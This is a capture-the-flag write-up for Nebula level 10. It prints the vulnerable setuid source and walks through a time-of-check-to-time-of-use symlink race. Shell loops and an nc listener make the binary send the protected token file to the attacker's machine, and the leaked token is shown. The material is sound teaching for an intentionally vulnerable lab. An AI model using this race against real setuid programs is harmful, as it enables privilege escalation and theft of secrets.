Nebula - 10

Photo by Chen Liu on Unsplash

Nebula - 10

Play this article

The setuid binary at /home/flag10/flag10 binary will upload any file given, as long as it meets the requirements of the access() system call.

Source code

#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>
#include <stdio.h>
#include <fcntl.h>
#include <errno.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <string.h>

int main(int argc, char **argv)
{
  char *file;
  char *host;

  if(argc < 3) {
      printf("%s file host\n\tsends file to host if you have access to it\n", argv[0]);
      exit(1);
  }

  file = argv[1];
  host = argv[2];

  if(access(argv[1], R_OK) == 0) {
      int fd;
      int ffd;
      int rc;
      struct sockaddr_in sin;
      char buffer[4096];

      printf("Connecting to %s:18211 .. ", host); fflush(stdout);

      fd = socket(AF_INET, SOCK_STREAM, 0);

      memset(&sin, 0, sizeof(struct sockaddr_in));
      sin.sin_family = AF_INET;
      sin.sin_addr.s_addr = inet_addr(host);
      sin.sin_port = htons(18211);

      if(connect(fd, (void *)&sin, sizeof(struct sockaddr_in)) == -1) {
          printf("Unable to connect to host %s\n", host);
          exit(EXIT_FAILURE);
      }

#define HITHERE ".oO Oo.\n"
      if(write(fd, HITHERE, strlen(HITHERE)) == -1) {
          printf("Unable to write banner to host %s\n", host);
          exit(EXIT_FAILURE);
      }
#undef HITHERE

      printf("Connected!\nSending file .. "); fflush(stdout);

      ffd = open(file, O_RDONLY);
      if(ffd == -1) {
          printf("Damn. Unable to open file\n");
          exit(EXIT_FAILURE);
      }

      rc = read(ffd, buffer, sizeof(buffer));
      if(rc == -1) {
          printf("Unable to read from file: %s\n", strerror(errno));
          exit(EXIT_FAILURE);
      }

      write(fd, buffer, rc);

      printf("wrote file!\n");

  } else {
      printf("You don't have access to %s\n", file);
  }
}

Getting the flag

Read the source code closely, and take your time, we will examine a few key areas in a second.

This binary takes the path to the file and hostname as arguments. Ideally, it should be like:

level10@nebula:/home/flag10$ ./flag10 token 192.168.232.128

But we don't have permissions for that, as we can't open the token (-rw-------).

We can create some fake token in a writable place and try with it:

level10@nebula:/home/flag10$ echo "fake token" > /tmp/faketoken
level10@nebula:/home/flag10$ ./flag10 /tmp/faketoken 192.168.232.128
Connecting to 192.168.232.128:18211 .. Connected!
Sending file .. wrote file!

Of course, to do that, we need to open a listener on our host machine first:

┌──(kali㉿kali)-[~]
└─$ sudo nc -nlvp 18211 
listening on [any] 18211 ...
connect to [192.168.232.128] from (UNKNOWN) [192.168.232.129] 36753
.oO Oo.
fake token

Now, when we get the regular flow working, let's exploit it!

Let's dig into the source code again:

if(access(argv[1], R_OK) == 0)

How does the access() work?

man access
---
DESCRIPTION
    access() checks whether the calling process can access the file pathname. If pathname is a symbolic link, it is dereferenced.
    The mode specifies the accessibility check(s) to be performed, and is either the value F_OK, or a mask consisting of the bitwise OR of one or more of R_OK, W_OK, and X_OK. F_OK tests for the existence of the file. R_OK,
    W_OK, and X_OK test whether the file exists and grants read, write, and execute permissions, respectively.
  The check is done using the calling process's real UID and GID, rather than the effective IDs as is done when actually attempting an operation (e.g., open(2)) on the file. This allows set-user-ID programs to easily determine the invoking user's authority.
    If the calling process is privileged (i.e., its real UID is zero), then an X_OK check is successful for a regular file if execute permission is enabled for any of the file owner, group, or other.

In addition to that, we have this statement:

 ffd = open(file, O_RDONLY);

If that doesn't ring a bell, you might want to check this page about TOCTOU (Time-of-check to time-of-use) bug.

Simply put - we have a race condition situation, where we can exploit the access check!

To do that, we will need to use symlink, the ln command in Linux.

We will use a simple while loop to create this symbolic link:

while true; do ln -sf /home/flag10/token race; ln -sf /tmp/faketoken race; done

On the host machine, I will open the nc listener that will not close. I remember I used to do it with -k, but it's not working properly in this case. So, another while loop:

while true; do sudo nc -nlvp 18211 >> log; done

We will store all the input that comes to the listener in the file.

So, we have a symlink and listener:

lrwxrwxrwx 1 level10 level10 10 2021-11-03 11:00 race -> /tmp/faketoken

Let's fire up another while loop to test all this madness together:

while true; do /home/flag10/flag10 /tmp/race 192.168.232.128; done

Crossing fingers and checking log:

.oO Oo.
Fake
.oO Oo.
Fake
.oO Oo.
615a2ce1-b2b5-4c76-8eed-8aa5c4015c27

Noice, it seems to be the content of the original token file!

To the flag now:

level10@nebula:/tmp$ ssh flag10@localhost
flag10@nebula:~$ getflag
You have successfully executed getflag on a target account

Bonus

As a bonus, there is a clear text flag in the x document on level10's home:

level10@nebula:~$ cd ~
level10@nebula:~$ ls 
x
level10@nebula:~$ file x
level10@nebula:~$ cat x
x
level10@nebula:~$ file x
x: ASCII text
level10@nebula:~$ cat x

That's it, that's the key for the flag. Why is it here? I'm clueless

615a2ce1-b2b5-4c76-8eed-8aa5c4015c27